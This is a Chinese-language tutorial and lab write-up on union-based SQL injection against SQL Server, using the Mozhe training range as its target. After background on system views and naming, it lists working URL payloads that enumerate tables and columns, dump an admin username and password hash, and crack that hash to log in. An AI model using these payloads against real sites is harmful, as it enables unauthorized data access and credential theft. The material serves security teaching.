sql server(mssql)聯合注入

sql server(mssql)聯合注入

  • sql server簡介:
    • SQL Server 是Microsoft 公司推出的關係型資料庫管理系統。具有使用方便可伸縮性好與相關軟體集成程度高等優點,可跨越從運行Microsoft Windows 98 的膝上型電腦到運行Microsoft Windows 2012 的大型多處理器的伺服器等多種平台使用。

1. 前置知識

  • 以下資料均來自:sql server聯機叢書:

1.1 sql server資料庫內置函數:

  • DB_NAME ( [ database_id ] ):如果對 DB_NAME 的調用省略 database_id,則 DB_NAME 返回當前資料庫的名稱;如果不省略,則返回對應資料庫id的資料庫名稱
  • COL_NAME ( table_id , column_id )
    • 參數:
      1. table_id:包含列的表的標識號。table_id 的類型為 int。
      2. column_id:列的標識號。column_id 參數的類型為 int。
    • 作用:據指定的對應表標識號和列標識號返回列的名稱。
  • OBJECT_ID ( ‘[ database_name . [ schema_name ] . | schema_name . ] object_name’ [ ,’object_type’ ] )
    • 參數:
      1. object_name:要使用的對象。object_name 的數據類型為 varchar 或 nvarchar。如果 object_name 的數據類型為 varchar,則它將隱式轉換為nvarchar。可以選擇是否指定資料庫和架構名稱。
      2. object_type:架構範圍的對象類型。object_type 的數據類型為 varchar 或 nvarchar。如果 object_type 的數據類型為 varchar,則它將隱式轉換為 nvarchar。
    • 作用:返回架構範圍內對象的資料庫對象標識號。
  • @@VERSION
    • 作用:返回當前的 SQL Server 安裝的版本、處理器體系結構、生成日期和作業系統。

1.2 sql server資料庫的系統視圖

  • 以下系統視圖在資料庫創建之初就會默認創建,存在於每一個資料庫中
  1. sysobjects:
    • 準確的來說應稱 sysobject 為系統視圖,而不是表;不過在sql server2000版本及以前它的確是作為表而存在的。
    • 作用:這張視圖存儲量該資料庫內每一個對象(包括約束、默認值、日誌、規則、存儲過程等),每一個對象為其中的一條記錄
    • 擁有的欄位名(這裡只介紹資料庫提供支援的欄位):
      * 列名            數據類型      說明
        name;         sysname;     對象名
        id;           int;         對象標識號
        uid;          smallint;    對象所有者的架構 ID。__對於從舊版 SQL Server 升級的資料庫,架構 ID 等於所有者的用戶 ID。__
        parent_obj;   int;         父對象的對象標識號。例如,表 ID(如果父對象是觸發器或約束)。
        crdate;       datetime;    對象的創建日期。
        ftcatid;      smallint;    註冊為使用全文索引的所有用戶表的全文目錄標識符,對於沒有註冊的所有用戶表則為 0。
        schema_ver;   int;         在每次更改表的架構時都會增加的版本號。始終返回 0。
        xtype;        char(2);     對象類型。可以是以下對象類型之一:
                                  AF = 聚合函數 (CLR)
                                  C = CHECK 約束
                                  D = 默認值或 DEFAULT 約束
                                  F = FOREIGN KEY 約束
                                  L = 日誌
                                  FN = 標量函數
                                  FS = 程式集 (CLR) 標量函數
                                  FT = 程式集 (CLR) 表值函數
                                  IF = 內聯表函數
                                  IT = 內部表
                                  P = 存儲過程
                                  PC = 程式集 (CLR) 存儲過程
                                  PK = PRIMARY KEY 約束(類型為 K)
                                  RF = 複製篩選存儲過程
                                  S = 系統表
                                  SN = 同義詞
                                  SQ = 服務隊列
                                  TA = 程式集 (CLR) DML 觸發器
                                  TF = 表函數
                                  TR = SQL DML 觸發器
                                  TT = 表類型
                                  U = 用戶表(__我們在這裡使用的就是這個參數__)
                                  UQ = UNIQUE 約束(類型為 K)
                                  V = 視圖
                                  X = 擴展存儲過程
      
  2. syscolumns
    • 作用;為每個表和視圖中的每一欄位返回一行,並為資料庫中的存儲過程的每個參數返回一行
    • 擁有的欄位名(這裡只介紹資料庫提供支援的欄位)
      列名       數據類型                     說明
      name       sysname                     列名或過程參數的名稱。
      id         int                         此列所屬表的對象 ID,或者與此參數關聯的存儲過程的 ID。
      xtype      tinyint                     sys.types 中的物理存儲類型。
      typestat   tinyint                     標識為僅供參考。不提供支援。不保證以後的兼容性。 
      xusertype  smallint                    擴展的用戶定義數據類型的ID。如果數據類型的數字超過 32,767,則溢出或返回 NULL。有關詳細資訊,請參閱查詢 SQL Server 系統目錄。
      length     smallint                    sys.types 中的最大物理存儲長度。
      colid      smallint                    列 ID 或參數 ID。
      cdefault   int                         此列的默認值的 ID。
      domain     int                         此列的規則或 CHECK 約束的 ID
      number     smallint                    過程分組時的子過程號。0 = 非過程項 容性。 
      offset     smallint                    此列所在行的偏移量。
      collationid int                        列的排序規則的 ID。對於非字元列,此值為 NULL。
      status     tinyint                     用於說明列或參數的屬性的點陣圖:
      type       tinyint                     sys.types 中的物理存儲類型。
      usertype   smallint                    sys.types中的用戶定義數據類型的 ID。如果數據類型數超過 32767,則會發生溢出或返回 NULL。有關詳細資訊,請參閱查詢 SQL Server 系統目錄。
      prec       smallint                    此列的精度級別。-1 = xml 或大值類型。
      scale      int                         此列的小數位數。NULL = 數據類型不是數值。
      iscomputed int                         指示列是否為計算列的標誌:0 = 非計算列。1 = 計算列。
      isoutparam int                         指示過程參數是否為輸出參數:1 = True 0 = False
      isnullable int                         指示列是否允許空值:1 = True 0 = False
      collation  sysname                     列的排序規則的名稱。如果不是基於字元的列,則為 NULL。
      

1.3 Transact-SQL 語法約定 –> 多部分名稱

  • 這部分知識用來理解sql語句:select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=’u’),’3′,null 中, mozhe_db_v2.dbo.sysobjects 的命名格式的含義。
  • 多部分名稱:
    • 除非另外指定,否則,所有對資料庫對象名的Transact-SQL引用將是由四部分組成的名稱,格式如下:
      server_name .[database_name].[schema_name].object_name
      | database_name.[schema_name].object_name
      | schema_name.object_name
      | object_name 
      
    • 解釋說明:
      1. server_name:指定鏈接的伺服器名稱或遠程伺服器名稱。
      2. database_name:如果對象駐留在 SQL Server 的本地實例中(說人話就是你操作的資料庫在本地),則指定 SQL Server 資料庫的名稱。如果對象在鏈接伺服器中,則 database_name 將指定 OLE DB 目錄。
      3. schema_name:如果對象在 SQL Server資料庫中,則指定包含對象的 架構的名稱(對於從舊版 SQL Server 升級的資料庫,架構 ID 等於所有者的用戶 ID)。如果對象在鏈接伺服器中,則 schema_name將指定 OLE DB 架構名稱。
      4. object_name:對象的名稱。
    • 注意:
      1. 引用某個特定對象時,不必總是指定伺服器、資料庫和架構供 SQL Server資料庫引擎標識該對象。但是,如果找不到該對象,將返回錯誤。
      2. 對於從舊版 SQL Server 升級的資料庫,架構 ID 等於所有者的用戶 ID
    • 若要省略中間節點,請使用句點來指示這些位置。下表顯示了對象名的有效格式。
      server . database . schema . object 四個部分的名稱。
      server . database .. object  省略架構名稱。
      server .. schema . object    省略資料庫名稱。
      server ... object            省略資料庫和架構名稱。
      database . schema . object   省略伺服器名。
      database .. object           省略伺服器和架構名稱。
      schema . object              省略伺服器和資料庫名稱。
      object                       省略伺服器、資料庫和架構名稱。
      

1.4 關於對象、架構(結合 1.3的多部分名稱理解 )

  • 對象:在sql server資料庫中,表,視圖,函數等都被看作為 「(安全)對象」。每一個對象都有其 「對象名」 以及其 「對象ID」。
  • 架構:架構是指包含 表、視圖、過程等對象容器。它位於資料庫內部,而資料庫位於伺服器內部。這些實體就像嵌套框放置在一起。伺服器是最外面的框,而架構是最裡面的框。架構 包含下面列出的所有【安全對象】,但是它不包含其他框。
    必須位於架構內部的安全對象    類  
    類型                          TYPE
    XML 架構集合                  XML SCHEMA COLLECTION
    表                            OBJECT
    視圖                          OBJECT
    過程                          OBJECT
    函數                          OBJECT
    聚合函數                      OBJECT
    約束                          OBJECT
    同義詞                        OBJECT
    隊列                          OBJECT
    統計資訊                       OBJECT
    
  • 默認架構
    • 為了解析不完全限定的安全對象名稱,SQL Server 2000使用名稱解析來檢查執行調用的資料庫用戶所擁有的架構和 dbo 所擁有的架構。
    • DBO是系統的默認架構,DBO作為架構來定義對象,能夠使資料庫中的任何用戶引用而不必提供架構名稱。DBO架構的所有者默認是dbo賬戶。
    • sys也是系統的默認架構,sys架構的所有者默認是sys賬戶。
  • 注意:
    1. 特定架構中的每個安全對象都必須有唯一的名稱。架構中安全對象的 「完全指定名稱」 包括此安全對象所在的架構的名稱。因此,架構也是命名空間
    2. 【在 SQL Server 2000 和早期版本中】,資料庫可以包含一個名為 「架構」 的實體,但此實體實際上是 「資料庫用戶」;【在 SQL Server 2005 中】,架構行為已更改。架構不再等效於資料庫用戶。現在,每個架構都是獨立於創建它的資料庫用戶存在的不同命名空間。即:在 SQL Server 2005 和 SQL Server 2008 中架構既是一個容器,又是一個命名空間,且架構只能有一個所有者,但一個用戶可以擁有多個架構

2.mssql 聯合注入流程

  1. 判斷注入點
  2. 判斷當前注入點所查詢的欄位數
  3. 確定顯示位
  4. 查詢當前資料庫名,當前資料庫的版本號
  5. 查詢當前資料庫中有多少張表
  6. 查詢資料庫中的所有表名
  7. 查詢表中有多少欄位
  8. 查詢每一個欄位的名稱
  9. 判斷manage表中有多少條記錄
  10. 查詢帳號密碼

3. 靶場實戰(這裡以「墨者」的的靶場為例)

3.1 判斷注入點

  • payload:
    ?id=2 and 1=1 -- 頁面返回正常
    ?id=2 and 1=2 -- 頁面返回出錯
    
    • 由下圖可分析得:存在注入點,且為數字型注入
      01_mssql聯合注入 - 判斷注入點

3.2 判斷當前注入點所查詢的欄位數

  • payload
    ?id=2 order by 4 -- 頁面返回正常
    ?id=2 order by 5 -- 頁面返回失敗
    
    • 由下圖分析可得:判斷當前注入點所查詢的欄位數為:4
      02_mssql聯合注入 - 判斷當前注入點所查詢的欄位數

3.3 確定顯示位

  • payload:
    ?id=2 and 1=2 union all select null,null,null,null
    ?id=2 and 1=2 union all select 'null',null,null,null
    ?id=2 and 1=2 union all select null,'null',null,null -- 出現顯示位
    ?id=2 and 1=2 union all select null,null,'null',null -- 出現顯示位
    ?id=2 and 1=2 union all select null,null,null,'null'
    
    • 由下圖分析可得:顯示位出現在 2號 和 3號 位。
      03_mssql聯合注入 - 確定顯示位
    • 這裡說明一下,為什麼sql server與mysql 確定顯示位的方法不同:
      • 原因是sql server資料庫是強數據類型,即union關鍵字前後的select查詢所查詢的欄位的數據類型必須相同(mysql可以不同),這就導致在我們不知道union關鍵字前面的數據類型的前提下,必須先使用 null數據類型 來充當欄位。然後依次為 null 加單引號使其變為字元串類型,如果加上單引號使null變為的字元串類型與union前面對應的欄位類型相同,就自然會在頁面中回顯出顯示位。

3.4 查詢當前資料庫名,當前資料庫的版本號

  • payload:
    ?id=2 and 1=2 union all select null,db_name(),@@version,null
    
    • 由下圖我們可以得出:當前資料庫名為 mozhe_db_v2
      04_mssql聯合注入 - 查詢當前資料庫名,當前資料庫的版本號

3.5 查詢當前資料庫中有多少張表

  • payload1:
    ?id=2 and 1=2 union all select null,(select count(*) from mozhe_db_v2.dbo.sysobjects where xtype='u'),@@version,null
    
    • 由下圖的回顯可知:當前資料庫存在2張表
      05_mssql聯合注入 - 查詢當前資料庫中有多少張表
    • 為了讓我們更深入的理解上述sql語句以及sql server的機制,在此借題發揮一下,請同學們結合我前面所介紹的「前置知識–>Transact-SQL 語法約定–>多部分名稱」 來判斷一下,下面的payload是否可以達到與上面payload相同的效果?
      payload2:?id=1 and 1=2 union all select null,(select count(*) from ...sysobjects where xtype='u'),@@version,null
      payload3:?id=1 and 1=2 union all select null,(select count(*) from sysobjects where xtype='u'),@@version,null
      payload4:?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2..sysobjects where xtype='u'),@@version,null
      payload5:?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2.sysobjects where xtype='u'),@@version,null
      
    • 下圖是以上payload的執行結果:
      06_mssql聯合注入 - 查詢當前資料庫中有多少張表
    • 我們可以看出,只有payload5執行失敗了。

3.6 查詢資料庫中的所有表名

  • payload:
    • 查詢第一張表名:
      ?id=1 and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',null
      

      07_mssql聯合注入 - 查詢第一張表名

    • 查詢第二張表名:
      ?id=1 and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name<>'manage'),'3',null
      

      07_mssql聯合注入 - 查詢第二張表名

    • 顯然 manage 表是我們所需要的。

3.7 查詢表中有多少欄位

  • payload:
    ?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2.dbo.syscolumns where id=object_id('manage')),'3',null
    
    • 由圖分析可知:manage表中存在3個欄位。
      08_mssql聯合注入 - 查詢表中有多少欄位

3.8 查詢每一個欄位的名稱

  • payload:(使用col_name()函數)
    • 查詢manage表的第一個欄位名
      ?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),1) ),'3',null
      

      09_mssql聯合注入 - 查詢每一個欄位的名稱

    • 查詢manage表的第二個欄位名
      ?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),2) ),'3',null
      

      09_mssql聯合注入 - 查詢每二個欄位的名稱

    • 查詢manage表的第三個欄位名
      ?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),3) ),'3',null
      

      09_mssql聯合注入 - 查詢每三個欄位的名稱

    • 顯然欄位 username 與 password 是我們所需要的
  • 其實在這裡我們也可以使用以下payload來查詢欄位名(使用了syscolumns系統視圖,不使用col_name()函數)— 關於syscolumns系統視圖請看 前置知識
    -- 查詢manage表的第一個欄位名
    ?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage')),null,null
    -- 查詢manage表的第二個欄位名
    ?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage') and name<>'id'),null,null
    -- 查詢manage表的第三個欄位名
    ?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage') and name<>'id' and name<>'username'),null,null
    

3.9 判斷manage表中有多少條記錄

  • payload:
    ?id=1 and 1=2 union all select null,count(*),null,null from manage
    
    • 由下圖可知,manage表中存在 1 條記錄
      10_mssql聯合注入 - 判斷manage表中存在多少條記錄

3.10 查詢帳號密碼

  • payload:
    ?id=1 and 1=2 union all select null,username,password,null from manage
    
    • 由下圖可知,帳號密碼為:admin_mz/72e1bfc3f01b7583
      11_mssql聯合注入 - 查詢帳號密碼
    • 顯然這裡的密碼是經過MD5加密後的,那麼我們就通過網站 //www.cmd5.com 進行解密,得到明文:97285101。所以帳號密碼:admin_mz/97285101

3.11 登錄後台拿flag

  • KEY: mozhe3ecd86b639e1b4af48c27353ab0
    12_mssql聯合注入 - 登錄拿flag
Tags: